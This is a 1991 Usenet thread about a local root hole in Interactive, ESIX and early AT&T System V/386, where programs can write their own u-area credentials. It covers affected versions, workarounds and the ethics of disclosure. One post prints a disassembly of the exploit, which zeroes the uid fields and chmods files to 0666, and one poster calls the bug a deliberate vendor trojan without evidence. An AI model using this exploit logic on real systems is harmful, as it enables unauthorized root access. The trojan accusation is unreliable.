you can call it that) product, without serious holes like this one. Logical
conculsion - concentrate on value and price. But after this, I guess not.
There's only so much a systems house can concentrate on, and some of them
are poorly understaffed.
I agree completely on the above, with systems as complex as a full Unix
operating system it is quite likely that some things will slip thru.
HOWEVER, they clearly were aware of the 'gapping hole' when they released
2.2 as it is openly stated in the release notes (and you don't have to be
a kernel hacker to understand it... I guess it just shows how many people
really read the release notes :-)
This, coupled with the fact the 2.2.1 update did nothing to close the 'hole'
would seem to indicate either extreme incompentance or total disregard for
customer security and any intent on fixing real problems. Unfortunately, as
they seem to be able to come up with a fix by next Friday (the 22nd), the
later appears to be the case...
If this weren't so insidious a breach of security I would be a little
more tolerant. But openly stating it in a Release Note almost a year ago
and then do absolutely nothing to fix it, even when they have come out with
an update since then. Is this a classic definition of negligence or what?
ON THE OTHER HAND, since you are buying a product from the vendors, you'd
*EXPECT THEM* to sell you a stable product. Kinda of like selling you a
new car, then having it going out of control because your kid decided to
change the radio station.
I agree 100%.
Face it folks, all versions of Unix for the PC have problems of some kind.
(Just a matter of what size the explosion will be when it goes off in your
face) It ain't no Ginsu knive offer - ("It dices, it slices, it's a
mutlitasking OS and a teeth cleaner! And if you order now you'll receive....")
Again, absolutely no argument. But, alas, it really dosen't apply to this
specific problem.
pax.
--
E-Mail:pax@megasys.com pax@ankh.ftl.fl.us gmp@pinet.aip.org
USNail:Megasystems, Inc. 2055 South Congress Ave, Delray Beach, FL 33445
UUCP :{gatech!uflorida!novavax!ankh, mthvax, shark, attmail}!megasys!pax
Voice :407-243-2405 Data: 407-243-2407 Fax: 407-243-2408 Telex: 156281499
"This is America, Right?!?!?" member of 2 Live Crewloc@yrloc.ipsa.reuter.COM (Leigh Clayton) (02/15/91)
I've seen many many postings with this subject, but I've yet to come across a description of just what everyone is on about. I run 386ix 2.0.2 so I'm more than academically interested, if I've got the gist of the thread right. (I *do* have a 387, which in some postings sounds like a good thing). Can someone (re) post an exact, factual description of the problem please? (or at least Email one to me). Thanks ../Leigh ----------------------------------------------------------- loc@tmsoft.UUCP uunet!mnetor!tmsoft!loc loc@ipsa.reuter.COM (Leigh Clayton)
cpcahil@virtech.uucp (Conor P. Cahill) (02/15/91)
mburg@unix386.Convergent.COM (Mike Burg) writes: > >From a view of a person who has work for various Unix system houses - >you can't really blame ISC, ESIX, or any other vendors that current has the >bug in it's release. I think the blame should be placed on AT&T. They are the >ones who are (were) shipping the base source with the bug. Most AT&T UNIX I agree that AT&T should take a major portion of the blame for this bug, especially in early releases of the OS. HOWEVER, ISC plainly knew about the but when it released 2.2 and instead of fixing the problem they threw together a kludge that would only work if you had a numeric co-processor installed in the machine. That was what I consider a very big *mistake* on ISC's part (I would hazard a *GUESS* that it was probably a consious decision that the time that would be spent to fix the problem that was relatively unknown could be better spent fixing other problems. Note that I would strongly disagree with this decision). That said, ISC (and reportedly ESIX) have reacted quickly and promissed a fix disk for each version of the OS RSN. ESIX has reportedly said it will post the fix to this newsgroup. ISC *should* do the same, but has said that they will only release the fix via thier normal fixdisk distribution mechanism. Now, as to the original posting about the bug - 1. From what you said (you tried to get ISC to fix it for the past 6 months) I agree with your action of posting about the problem to the net so that you could force ISC to fix the problem. This was apparently needed. 2. I wholeheartly DISAGREE with you posting the source code which performs the security bypass. You could have just posted the uuencoded binary which would have been enough to prove your point without making it extremely easy for any two bit user to obtain privileged access. Yes a dedicated hacker could have decoded your explanation and/or the binary and figure out how to replicate your code, but the number of those is MUCH less than the number of people who can now violate the security of the system using your posted code. POSTING THE CODE WAS DEAD WRONG. Enough said. -- Conor P. Cahill (703)430-9247 Virtual Technologies, Inc. uunet!virtech!cpcahil 46030 Manekin Plaza, Suite 160 Sterling, VA 22170
ry@cbnewsl.att.com (ryerson.schwark) (02/15/91)
In article <WCR.91Feb14012138@tree.tree.metrolink.com> wcr@tree.metrolink.com (W.c. Rothanburg) writes: > >The only problem with setting UAREAUS and UAREAW to zero is you >cannot do any floating point operations without a co-processor. >(I don't have a co-processor to try it with... <sigh>) > >We (at Metro Link) have found the AT&T Unix/386 appears to have the >same problem. (I heard this second hand and don't know from whom.) > >Bill Would you check which release you're running? We've checked our 3.2 systems and none of them have this problem, if you do, I'd like to hear about it. Ry Schwark AT&T UNIX System Laboratories
ry@cbnewsl.att.com (ryerson.schwark) (02/15/91)
In article <6027@unix386.Convergent.COM> mburg@unix386.Convergent.COM (Mike Burg) writes: >From a view of a person who has work for various Unix system houses - >you can't really blame ISC, ESIX, or any other vendors that current has the >bug in it's release. I think the blame should be placed on AT&T. They are the >ones who are (were) shipping the base source with the bug. Most AT&T UNIX >vendors typically only concentrate on adding more options to the system >(i.e. X-Windows, more controller card support, networking). They usually >don't looking into rats mazes like memory managment. Now, look it from the >vendors eye's - You'd be expecting for AT&T to ship a somewhat "secure" (if >you can call it that) product, without serious holes like this one. Logical >conculsion - concentrate on value and price. But after this, I guess not. >There's only so much a systems house can concentrate on, and some of them >are poorly understaffed. We did fix the bug in our update tape to 3.2. We take these problems very seriously. Our support department has verified that the problem doesn't occur on 3.2.1 systems or later, including Release 4. Ry Schwark AT&T UNIX System Laboratories
weave@chopin.udel.edu (Ken Weaverling) (02/15/91)
(Some info for PRIME customers below, but first.....) In article <1991Feb15.134715.16979@virtech.uucp> cpcahil@virtech.uucp (Conor P. Cahill) writes: > > 2. I wholeheartly DISAGREE with you posting the source code which > performs the security bypass. You could have just posted the > uuencoded binary which would have been enough to prove your point > without making it extremely easy for any two bit user to obtain > privileged access. I agree, and the binary could have proven the point with out making passwd and shadow 666. Therefore, if a curious user got hold of it and ran it without really wanting to do damage, the files could be left 666 for someone else to play with. Another alternative could have been a posting such as: "Hey, take a look at <sys/user.h> -- guess what, a user can WRITE to those fields!" That would have the same shock value for sysadmins, then I could do *something* to buy myself *some* time like make user.h 600 or make it a FIFO so a compile that attempts to #include it would hang or even if I was real industrious, put a daemon on the other end of the FIFO which could alert me if someone opened it. I'm not upset with the fellow who did the post. In the end, he will have done us all a great favour. It's just that I feel naked and helpless right now.... BTW, the bug appears on the Prime EXL 300 and matchbox series running Prime's version of SYSV/386. I called Prime and they opened a Priority SPAR on it. Any Prime customers should monitor the Prime diagnostic database for the fix announcement. SPAR # is 4052031 -- >>>---> Ken Weaverling >>>----> weave@brahms.udel.edu
larry@nstar.rn.com (Larry Snyder) (02/16/91)
davidg@aegis.UUCP (Dave McLane) writes: >New, but related subject: when ISC fires up after the login it puts >this really grotesque series of lines about copyrights and such >which I would like to get rid of. Anybody know if this is possible? yes - find a replacement for /bin/login - or edit the one that comes with 386/ix -- Larry Snyder, NSTAR Public Access Unix 219-289-0287 (HST/PEP/V.32/v.42bis) regional UUCP mapping coordinator {larry@nstar.rn.com, ..!uunet!nstar.rn.com!larry}
peter@ficc.ferranti.com (Peter da Silva) (02/16/91)
In article <1991Feb13.204408.15621@kithrup.COM> sef@kithrup.COM (Sean Eric Fagan) writes: > In article <1739@svin02.info.win.tue.nl> debra@info.win.tue.nl writes: > >This (and other postings) suggests that the problem would be found > >in the more generic sVr3.2 from AT&T. > It was. Note that it was in the *original* release of 3.2 for the '386. It's not in the Bell Tech V.3.2, which is pretty much a straight copy of the AT&T V.3.2. It is my understanding that the ISC V.3.2 at least contains a fair amount of V.3.x (x<=1) code in it, and the ESIX product is based on the ISC product. -- Peter da Silva. `-_-' peter@ferranti.com +1 713 274 5180. 'U` "Have you hugged your wolf today?"
bill@unixland.uucp (Bill Heiser) (02/16/91)
In article <16434@chopin.udel.edu> weave@chopin.udel.edu (Ken Weaverling) writes: > >That would have the same shock value for sysadmins, then I could do >*something* to buy myself *some* time like make user.h 600 or make it Are you suggesting that making user.h is a "work-around" for the problem? It would seem that anyone dedicated to using this "door" would just use an equivalent file of their own from another system. Or can this be done? -- home: ...!{uunet,bloom-beacon,esegue}!world!unixland!bill bill@unixland.uucp The Think_Tank BBS & Public Access Unix 508-655-3848 (2400) 508-651-8723 (9600-HST) 508-651-8733 (9600-PEP-V32) other: heiser@world.std.com
jrh@mustang.dell.com (James Howard) (02/16/91)
In article <1991Feb15.035643.5542@jwt.UUCP>, john@jwt.UUCP (John Temples) writes: > In article <15126@uudell.dell.com> jrh@mustang.dell.com (James Howard) writes: > >I have tried the program posted earlier on both Dell > >SVR3.2 (which is ISC 2.0.2 based) and Dell SVR4.0 (not in any way > >related to ISC ;-) ). It core dumps faithfully on both. > > Based on what I've read here (not just in regards to the security > hole), I'm starting to get the feeling that Dell is the only UNIX > vendor that has its act together. I think I might just buy Dell's > SVR4.0 even though upgrading my ESIX will probably be cheaper. > -- > John W. Temples -- john@jwt.UUCP (uunet!jwt!john) Let me attempt to correct an oversight in my original post. I tested the posted source on a 3.2 machine running here internally, but it was a 486 machine, not a 386. It did not display the bug, but of course, it did have the 486 internal equivalent of a 387, which might have affected the test. To be sure, I later tried it on several 386 systems without a mathco, and it still did not display the bug. I should have been more careful before posting that it did not occur, although it turned out to be true anyway. It has been posted elsewhere in this thread that AT&T 3.2.1 does not have this bug. Dell UNIX 1.1 (which is generally described as based on ISC 2.0.2 sources) was a merge of ISC, AT&T 3.2.1, and Dell 1.0 code bases. The likely explanation for why Dell does not display a bug in a UNIX release based on ISC source, is that ISC did not merge in all of the AT&T fixes for 3.2.1, pure supposition on my part however. So, now for the facts, right? The following machine configurations were tested, and did not display the bug. The test was done by compiling the source as posted here on USENET. System CPU / MathCo OS / Release ------------------------------------------------------- Dell 325 386 / NONE Dell SVR3.2 / 1.1 Dell 325 386 / 387 Dell SVR3.2 / 1.1 Dell 425E 486 / Builtin Dell SVR3.2 / 1.1 Dell 325P 386 / 387 Dell SVR4.0 / 2.0 Dell 325P 386 / NONE Dell SVR4.0 / 2.0 Dell 325 386 / NONE Dell SVR4.0 / 2.0 Dell 425TE 486 / Builtin Dell SVR4.0 / 2.0 I believe this covers the cases where it might be a problem, as well as a fairly wide range of hardware. If a Dell customer has the bug, it might be with Dell UNIX 1.0, which did not have the 3.2.1 fixes applied. Such a customer should contact Dell Technical Support or send mail to support@dell.dell.com (or support@uudell.dell.com) to inquire as to bug a fix. I did not test Dell UNIX 1.0, because I could not locate a system in house running the older version software. I would very much like to hear from anyone with Dell UNIX that is experiencing the bug described above. James Howard Dell Computer Corp. !'s:uunet!dell!mustang!jrh (512) 343-3480 9505 Arboretum Blvd @'s:jrh@mustang.dell.com Austin, TX 78759-7299
cpcahil@virtech.uucp (Conor P. Cahill) (02/16/91)
loc@yrloc.ipsa.reuter.COM (Leigh Clayton) writes: > I've seen many many postings with this subject, but I've yet to come >across a description of just what everyone is on about. I run 386ix 2.0.2 The problem is as follows: The user structure, which is used by the kernel to store process information including the user/group that is running the process, is writable by the programs themselves. Since a program can write data to that area, they can make the system believe that they are actually being run by the super user, thereby gaining full access to the entire system. In short, any user with access to a compiler can make themselves root with just a few lines of somewhat simple C code (although if it hadn't been posted, it probably wouldn't have been that simple for the average programmer to do it). This problem is known to be present in the following systems: Interactive 2.0.2 Interactive 2.2 ESIX AT&T Rel 3.2 (fixed in 3.2.1) The problem is known to NOT exist in the following systems: Dell Unix (both 3.2 and 4.0) SCO UNIX There is a workaround for Interactive 2.2 if you have a 387 installed (turn off UAREAW and UAREAS in /etc/conf/cf.d/stune). Both Interactive and ESIX have said that a fix disk would be forthcomming. -- Conor P. Cahill (703)430-9247 Virtual Technologies, Inc. uunet!virtech!cpcahil 46030 Manekin Plaza, Suite 160 Sterling, VA 22170
mike (02/16/91)
In an article, unix386.Convergent.COM!mburg (Mike Burg) writes: >In article <27B93F44.5606@tct.uucp>, chip@tct.uucp (Chip Salzenberg) writes: >> According to jpp@specialix.co.uk (John Pettitt): >> >We have confirmed that this does indeed work on ISC 2.2 and that SCO >> >unix does `the right thing' (tm) and core dumps the application. >> >> It is good to see that SCO's engineers, unlike those at ISC and >> Everex, have an effective grasp on the basic principles of memory >> protection covered in the first semester of OS design class. > >A two sided coin problem... > >From a view of a person who has work for various Unix system houses - >you can't really blame ISC, ESIX, or any other vendors that current has the >bug in it's release. [...] Sure I can. I shelled out a _lot_ of dollars for my operating system. I have _every_ right to expect my software to be bug-free. Now, as a programmer, I know this isn't reality, but in turn, this doesn't justify it either. >I think the blame should be placed on AT&T. They are the >ones who are (were) shipping the base source with the bug. Most AT&T UNIX >vendors typically only concentrate on adding more options to the system >(i.e. X-Windows, more controller card support, networking). They usually >don't looking into rats mazes like memory managment. Now, look it from the >vendors eye's - You'd be expecting for AT&T to ship a somewhat "secure" (if >you can call it that) product, without serious holes like this one. [...] Bullocks. The simple fact that it has come from AT&T does not mean it excuses a company who is going to refurbish and _resell_ it from going through it with a fine tooth comb. Once it's out that door with that company's name on it, it's not AT&T's problem anymore. >Logical >conculsion - concentrate on value and price. But after this, I guess not. >There's only so much a systems house can concentrate on, and some of them >are poorly understaffed. Poor management is not the problem of the customer. Don't expect me to whip out my violins and start playing, when not so long ago, I handed them a hefty check. >ON THE OTHER HAND, since you are buying a product from the vendors, you'd >*EXPECT THEM* to sell you a stable product. Kinda of like selling you a >new car, then having it going out of control because your kid decided to >change the radio station. > >Face it folks, all versions of Unix for the PC have problems of some kind. >(Just a matter of what size the explosion will be when it goes off in your >face) It ain't no Ginsu knive offer - ("It dices, it slices, it's a >mutlitasking OS and a teeth cleaner! And if you order now you'll receive....") True enough, but this no reason for the user to not _expect_ a bug-free version. Yes, it is pie-in-the-sky, but every company's objective should be to provide a bug-free product (not a product that has known bugs, or has them as "features"). How about forcing them to give prior disclosure of all known bugs, _outside_ of the shrink wrap? How about forcing them to provide _free_ bug-fixes on a regular basis? How do you force them? Don't buy until they do it. No company is motivated to change unless it socks 'em in the wallet. Of course, when you are using PD or freely redistributable code, then you rolls your dices and takes your chances. The up side there is that (usually) you at least have the source. Now there's an idea! How about distributing the _source_ with these systems? Seems to me that long, long ago in a land far, far way, that this was done ... -- Michael Stefanik, MGI Inc., Los Angeles| Opinions stated are not even my own. Title of the week: Systems Engineer | UUCP: ...!uunet!bria!mike ------------------------------------------------------------------------------- Remember folks: If you can't flame MS-DOS, then what _can_ you flame?
davidg@aegis.UUCP (Dave McLane) (02/16/91)
larry@nstar.rn.com (Larry Snyder) writes: > davidg@aegis.UUCP (Dave McLane) writes: > > >New, but related subject: when ISC fires up after the login it puts > >this really grotesque series of lines about copyrights and such > >which I would like to get rid of. Anybody know if this is possible? > > yes - find a replacement for /bin/login - or edit the one that comes > with 386/ix Of course <smile>. Login is what shows up under ps -eal when somebody is logging in. Thanks for pointing out the (almost) obvious! Being new to UNIX (as you can probably guess) I don't know how to edit binary stuff but fortunately I'm running VPIX and am a long time user of SYMDEB.EXE which worked fine. Actually, I run under VPIX most of the time as I have gotten used to having NDE (Norton Command Line Editor) which lets me pop up the last 20 commands and edit them.... --Dave
sef@kithrup.COM (Sean Eric Fagan) (02/16/91)
In article <15185@uudell.dell.com> jrh@mustang.dell.com (James Howard) writes: >So, now for the facts, right? The following machine configurations were >tested, and did not display the bug. The test was done by compiling the >source as posted here on USENET. I tested the program on kithrup, once with the fpu recognized, once with the fpu disable (booting with 'ignorefpu' at the boot: prompt). It failed both times, as I'd expected. (Hey, I was being paranoid before I posted, what can I say? 8-)) This was under SCO UNIX 3.2v2. Hmm... I think I shall ask someone about 386BSD 8-). -- Sean Eric Fagan | "I made the universe, but please don't blame me for it; sef@kithrup.COM | I had a bellyache at the time." -----------------+ -- The Turtle (Stephen King, _It_) Any opinions expressed are my own, and generally unpopular with others.
kherron@ms.uky.edu (Kenneth Herron) (02/16/91)
cpcahil@virtech.uucp (Conor P. Cahill) writes: >This problem is known to be present in the following systems: > [...] > AT&T Rel 3.2 (fixed in 3.2.1) Sigh. Maybe I'm the only one in the whole world, but the problem exists on MY AT&T 3.2.1 system. It's AT&T hardware, too (no coprocessor). After all these reports of core dumps on AT&T unix I went back and tried the test program again. It works like a charm :-( Maybe it's dependent on what random packages are linked into the kernal...? -- Kenneth Herron kherron@ms.uky.edu University of Kentucky (606) 257-2975 Department of Mathematics "Never trust gimmicky gadgets" -- the Doctor
ruiu@dragos.uucp (dragos) (02/16/91)
I missed the beginning of this thread, but I'm quite alarmed (!) by its implications. Could someone mail the aforementioned bombshell to root here ? There are several systems I should check. -- Dragos Ruiu (ruiu@dragos.uucp) alberta!dragos!ruiu Copyright(c) 1991 HP, IDACOM division. idacom!drag
jdeitch@jadpc.cts.com (Jim Deitch) (02/16/91)
In article <1991Feb13.220110.1314@scuzzy.in-berlin.de> src@scuzzy.in-berlin.de (Heiko Blume) writes: >sef@kithrup.COM (Sean Eric Fagan) writes: >>Get SCO. It does not have this "feature," and still manages to support >>Weitek coprocessors (the coprocessor the original poster was referring to, I >>believe). (The Weitek's use memory for registers and, obviously, need to be >>able to write them. The weitek registers are stuck in the upage, and >>happen, in apparantly every 3.2 save SCO's, to be in the same page as the >>uid stuff. *Bad*. *Very* bad.) > >there's no problem with ISC if you have any co-processor. the problem is the >floating point emulation that runs in user space and needs to write the u area. > >i hope ISC will send me a 'bug fix' in the form of a 33MHz 80387 :-) Me Too! One quick question though, I tried to fix the problem temporarily by setting UAREARW to 0 as was posted. I rebult the kernel and all was well, until cnews tried to run. I got a core dump from sendbatches. Also the dfspace utility would not work. Anyone else seen this? I am running ISC 2.2 w/o a coprocessor. Do I also have to set UAREAUS to 0 to make this "fix" work? Jim -- ARPANET: jadpc!jdeitch@nosc.mil INTERNET: jdeitch@jadpc.cts.com UUCP: nosc!jadpc!jdeitch
lumpi@dobag.in-berlin.de (Joern Lubkoll) (02/16/91)
cpcahil@virtech.uucp (Conor P. Cahill) writes: > 2. I wholeheartly DISAGREE with you posting the source code which > performs the security bypass. You could have just posted the > uuencoded binary which would have been enough to prove your point > without making it extremely easy for any two bit user to obtain > privileged access. Yes a dedicated hacker could have decoded > your explanation and/or the binary and figure out how to replicate > your code, but the number of those is MUCH less than the number > of people who can now violate the security of the system using > your posted code. > POSTING THE CODE WAS DEAD WRONG. Everyone being able to use debugger or the disassembler, will be able to get the information out of the binary ! lets look at the disassembly (done on isc 2.21): --- BEGINS HERE --- **** DISASSEMBLER **** disassembly for toete section .text [startup code deleted] 11e: c7 45 fc 00 00 00 e0 movl $0xe0000000,0xfc(%ebp) 125: 8b 45 fc movl 0xfc(%ebp),%eax 128: 66 c7 80 ea 10 00 00 00 00 movw $0x0,0x10ea(%eax) 131: 8b 45 fc movl 0xfc(%ebp),%eax 134: 66 c7 80 ec 10 00 00 00 00 movw $0x0,0x10ec(%eax) 13d: 8b 45 fc movl 0xfc(%ebp),%eax 140: 66 c7 80 ee 10 00 00 00 00 movw $0x0,0x10ee(%eax) 149: 8b 45 fc movl 0xfc(%ebp),%eax 14c: 66 c7 80 f0 10 00 00 00 00 movw $0x0,0x10f0(%eax) 155: 68 b6 01 00 00 pushl $0x1b6 15a: 68 a0 03 40 00 pushl $0x4003a0 15f: e8 0c 00 00 00 call 0xc <170> /* CHMOD */ 164: 83 c4 08 addl $0x8,%esp 167: c9 leave 168: c3 ret [Library functions deleted] Don't you think, this is enough for anyone to see, whats going on ? jl -- lumpi@dobag.in-berlin.de -- "Nothing is the complete absence of everything."
wcr@tree.metrolink.com (W.c. Rothanburg) (02/16/91)
In article <1991Feb15.152036.17557@cbnewsl.att.com> ry@cbnewsl.att.com (ryerson.schwark) writes: >The only problem with setting UAREAUS and UAREAW to zero is you >cannot do any floating point operations without a co-processor. >(I don't have a co-processor to try it with... <sigh>) > >We (at Metro Link) have found the AT&T Unix/386 appears to have the >same problem. (I heard this second hand and don't know from whom.) > Would you check which release you're running? We've checked our 3.2 systems and none of them have this problem, if you do, I'd like to hear about it. I've heard this information second hand (unfortunately.) It was not a system which we run. When we get calls about our products, sometimes the discussions also include other topics, including this one. Is there a specific (older?) release that might have this problem? Bill -- Who : Metro Link, Inc. What : X11.R4. for ISC Unix 386/ix, SCO Unix/386, and Everex ESIX Where: 2213 West Mc Nab Road, Pompano Beach,FL 33069 Sales: sales@metrolink.com Email: wcr@metrolink.com Phone: +1 305 970 7353 x927 Fax : +1 305 970 7351
rwmira01@ulkyvx.bitnet (Rob Miracle) (02/17/91)
In article <1991Feb13.170133.28585@cfctech.cfc.com>, norm@cfctech.cfc.com (Norman J. Meluch) writes: > Well that uuencoded program failed (Memory Fault) on my AT&T Sys V/386 3.2.1. > However, I have no compiler to try the source. Anyone else try it? AT&T Sys V/386 3.2.2 and 3.2.3 both core dumped as they should, both on the binary and on compiled code. I guess we are safe from this one. Rob -- Rob Miracle | Bitnet : RWMIRA01@ULKYVX CIS: 74216,3134 Programmer/Analyst-III | INTERNET : rwmira01%ulkyvx.bitnet@cunyvm.cuny.edu University of Louisville | UUCP : ...psuvax1!ulkyvx.bitnet!rwmira01 "Remember, no matter where you go, there you are!" -- Buckaroo Bonzai
bill@unixland.uucp (Bill Heiser) (02/17/91)
In article <K47NHAI@dobag.in-berlin.de> lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: >davidg@aegis.UUCP (Dave McLane) writes: >>New, but related subject: when ISC fires up after the login it puts >>this really grotesque series of lines about copyrights and such >>which I would like to get rid of. Anybody know if this is possible? >use a binary editor and patch zero-bytes at beginning of the copyright >strings, they will never be seen again.. > Could something similar be done to "fix" something in the kernel to disallow that "writing to user area" bug? It seems that ISC has a configurable parameter, but Esix does not. -- home: ...!{uunet,bloom-beacon,esegue}!world!unixland!bill bill@unixland.uucp The Think_Tank BBS & Public Access Unix 508-655-3848 (2400) 508-651-8723 (9600-HST) 508-651-8733 (9600-PEP-V32) other: heiser@world.std.com
bill@unixland.uucp (Bill Heiser) (02/17/91)
In article <kBTHX1w163w@aegis.or.jp> davidg@aegis.UUCP (Dave McLane) writes: >edit binary stuff but fortunately I'm running VPIX and am a long >time user of SYMDEB.EXE which worked fine. This is a good question (for those of us who don't know) -- how does one edit binaries in Unix? Is there a utility like Norton out there (yes, I know Norton is available for ISC, but I'm running Esix). Thanks! Bill -- home: ...!{uunet,bloom-beacon,esegue}!world!unixland!bill bill@unixland.uucp The Think_Tank BBS & Public Access Unix 508-655-3848 (2400) 508-651-8723 (9600-HST) 508-651-8733 (9600-PEP-V32) other: heiser@world.std.com
weave@chopin.udel.edu (Ken Weaverling) (02/17/91)
In article <1991Feb15.234035.8378@unixland.uucp> bill@unixland.uucp (Bill Heiser) writes: >In article <16434@chopin.udel.edu> weave@chopin.udel.edu (Ken Weaverling) writes: >> >>That would have the same shock value for sysadmins, then I could do >>*something* to buy myself *some* time like make user.h 600 or make it > >Are you suggesting that making user.h is a "work-around" for the problem? No. Obviously they could probably get the file elsewhere, but it might slow them down until I can get a fix from my vendor (hopefully any day now...). The students on my systems that I fear are the ones that know just enough to be dangerous. The truly bright ones that are also mischevious I know and already keep an eye on! -- >>>---> Ken Weaverling >>>----> weave@brahms.udel.edu
james@bigtex.cactus.org (James Van Artsdalen) (02/17/91)
In <1991Feb15.134715.16979@virtech.uucp>, cpcahil@virtech.uucp (Conor P. Cahill) wrote: > I agree that AT&T should take a major portion of the blame for this bug, > especially in early releases of the OS. I would be careful about placing blame at this point. I have yet to see a strong pattern develop in the postings: clearly ISC has the bug, and it seems Esix does, but current Dell SysVr3 apparently doesn't. There is at least one claim that current AT&T doesn't, and a few that unspecified versions of AT&T does. Key point: some reports say that the 387 emulation actually crashes in systems if the u block is protected. I don't know if the source to the emulator is in the "source" package one receives from AT&T. Fixing the bug might be non-trivial if it is in the emulator, and you don't have source for the emulator. > 1. From what you said (you tried to get ISC to fix it for the past > 6 months) I agree with your action of posting about the problem > to the net so that you could force ISC to fix the problem. Absolutely. Getting some programmers to fix bugs is like pulling teeth. People will spend hours describing why they don't want to fix a bug when the actual fix might take fifteen minutes. > 2. I wholeheartly DISAGREE with you posting the source code which > performs the security bypass. [...] Yes a dedicated hacker could > have decoded your explanation and/or the binary and figure out how > to replicate your code, [...] dis(1) is not terribly subtle or difficult to use. It only takes one person to post a dis(1) trace. > but the number of those is MUCH less than the number > of people who can now violate the security of the system using > your posted code. The likelyhood that the vendor will actually fix a bug is proportional to the number of frantic phone calls and cancelled orders they receive. The greater the number of people whose system is now painfully at risk, the sooner vendors will deliver a fix. -- James R. Van Artsdalen james@bigtex.cactus.org "Live Free or Die" Dell Computer Co 9505 Arboretum Blvd Austin TX 78759 512-338-8789
cpcahil@virtech.uucp (Conor P. Cahill) (02/17/91)
lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: >cpcahil@virtech.uucp (Conor P. Cahill) writes: >> POSTING THE CODE WAS DEAD WRONG. >Everyone being able to use debugger or the disassembler, will be able >to get the information out of the binary ! Yes, but that requires the following: 1. the desire to spend the time doing it. 2. the ability to read and understand the assembly language 3. the ability to turn that back into a c program 4. the knowledge that there is a disassembler Not trying to nock on anybody in particular, but I would bet that most of the people that read this newsgroup would probably not have at least one of the requirements. Don't read me wrong. I'm not saying that no one outthere would be able to replicate the problem. I am only saying that because the code was posted EVERYONE who reads this group will be able to do it. >Don't you think, this is enough for anyone to see, whats going on ? Seeing what is going on and replicating it in another program is not always a simple step. -- Conor P. Cahill (703)430-9247 Virtual Technologies, Inc. uunet!virtech!cpcahil 46030 Manekin Plaza, Suite 160 Sterling, VA 22170
pcg@cs.aber.ac.uk (Piercarlo Grandi) (02/17/91)
On 16 Feb 91 03:06:13 GMT, somebody said: Anon> Sure I can. I shelled out a _lot_ of dollars for my operating system. Anon> I have _every_ right to expect my software to be bug-free. Now, as a Anon> programmer, I know this isn't reality, but in turn, this doesn't justify Anon> it either. READ THE WARRANTY. Your _lot_ of dollars went towards buying a set of floppies. If the floppies are not defect free, they will replaced free of charge. I am not aware of any System V vendor that sells software; they only sell defect free floppies, and incidentally you also get the right to use a thing called System V that may or may not be on the floppies and about which they will not make any representation. READ THE WARRANTY. -- Piercarlo Grandi | ARPA: pcg%uk.ac.aber.cs@nsfnet-relay.ac.uk Dept of CS, UCW Aberystwyth | UUCP: ...!mcsun!ukc!aber-cs!pcg Penglais, Aberystwyth SY23 3BZ, UK | INET: pcg@cs.aber.ac.uk
pcg@cs.aber.ac.uk (Piercarlo Grandi) (02/17/91)
On 15 Feb 91 12:25:34 GMT, pax@megasys.com (Garry M. Paxinos) said:
pax> In article <6027@unix386.Convergent.COM>
pax> mburg@unix386.Convergent.COM (Mike Burg) writes:
mburg> From a view of a person who has work for various Unix system
mburg> houses - you can't really blame ISC, ESIX, or any other vendors
mburg> that current has the bug in it's release.
They have been aware of the problem for probably well over a year. I
have very little doubt it is a delivberate trojan horse, for the benefit
of those "in the know". The hole was well known, nothing has been done
about it for a long time. AT&T says they corrected the bug in their
3.2.1 update tape; I thnk that all the major AT&T licensees probably
received it not much less than 2 years ago.
Now think of this: there are literally dozens (if not hundreds!) of
thousands of 386 system with this trojan horse sold and installed in
civilian and military Government offices, many installed under the
premise that C2 security was what the Government needed for better
protecting sensitive (but not classified, thank goodness) data. All
these systems will not be updated overnight; most will keep the trojan
horse for their entire useful life.
pax> I agree completely on the above, with systems as complex as a full
pax> Unix operating system it is quite likely that some things will slip
pax> thru.
This is simply unbelievable. It did not slip thru; all we have read
points out that all vendors knew it was there, and left it in by way of
a conscious decision. All vendors except AT&T, SCO and Dell, that is.
pax> [ ... ] Unfortunately, as they seem to be able to come up with a
pax> fix by next Friday (the 22nd), the later appears to be the case...
AT&T say (informally, in this newsgroup) that they corrected it in
3.2.1, and sent the corrections in its update tape to its licensees. SCO
and and Dell installed the corrections. Probably ISC and the others have
now decided to just put those corrections in.
Incidentally, note that Dell's 3.2 product is a derivative of ISC's, yet
Dell's does not have the trojan horse and ISC has it.
ISC and many others boasts of the stringent and very expensive QA
process they run on their products, the same process that took two years
after a public fix had been posted to these screens to find the inode
bug (and some other System V vendors still haven't discovered it!).
IMNHO it is some system vendors (and ISC are bettert han most!) who are
the worst hackers; apart from engaging in mass denial of service attacks
on their customers called 'releases' :-), which usually cost much more
lost time than the Internet Worm, they put (or leave) trojan horses in
their systems, including those advertised as C2 more "secure" and sold
to the Government as such.
If you want to read something really hair raising about the potential
for vendor hackery, read Ritchie's musing on what can be done with
virusing 'cc' in his Turing award lecture in CACM.
The military have independent source verification teams and other very
expensive ways of protecting themselves against supplier hackery; we
only have the GPL :-).
Finally, it is easy to think that if the author of this incident were a
graduate student or a random chap somewhere he would by now probably
have been arrested by the Secret Service, his machines impounded, and
would be facing the probability of years in prison, and certain ruin.
Think of this, and get information about the EFF.
--
Piercarlo Grandi | ARPA: pcg%uk.ac.aber.cs@nsfnet-relay.ac.uk
Dept of CS, UCW Aberystwyth | UUCP: ...!mcsun!ukc!aber-cs!pcg
Penglais, Aberystwyth SY23 3BZ, UK | INET: pcg@cs.aber.ac.uksef@kithrup.COM (Sean Eric Fagan) (02/17/91)
In article <1991Feb16.162814.13117@unixland.uucp> bill@unixland.uucp (Bill Heiser) writes: >This is a good question (for those of us who don't know) -- how does >one edit binaries in Unix? Is there a utility like Norton out there >(yes, I know Norton is available for ISC, but I'm running Esix). I always use emacs for that purpose. It's quite handy at some things... (Or, you can use sam, if you've got it.) -- Sean Eric Fagan | "I made the universe, but please don't blame me for it; sef@kithrup.COM | I had a bellyache at the time." -----------------+ -- The Turtle (Stephen King, _It_) Any opinions expressed are my own, and generally unpopular with others.
chip@tct.uucp (Chip Salzenberg) (02/17/91)
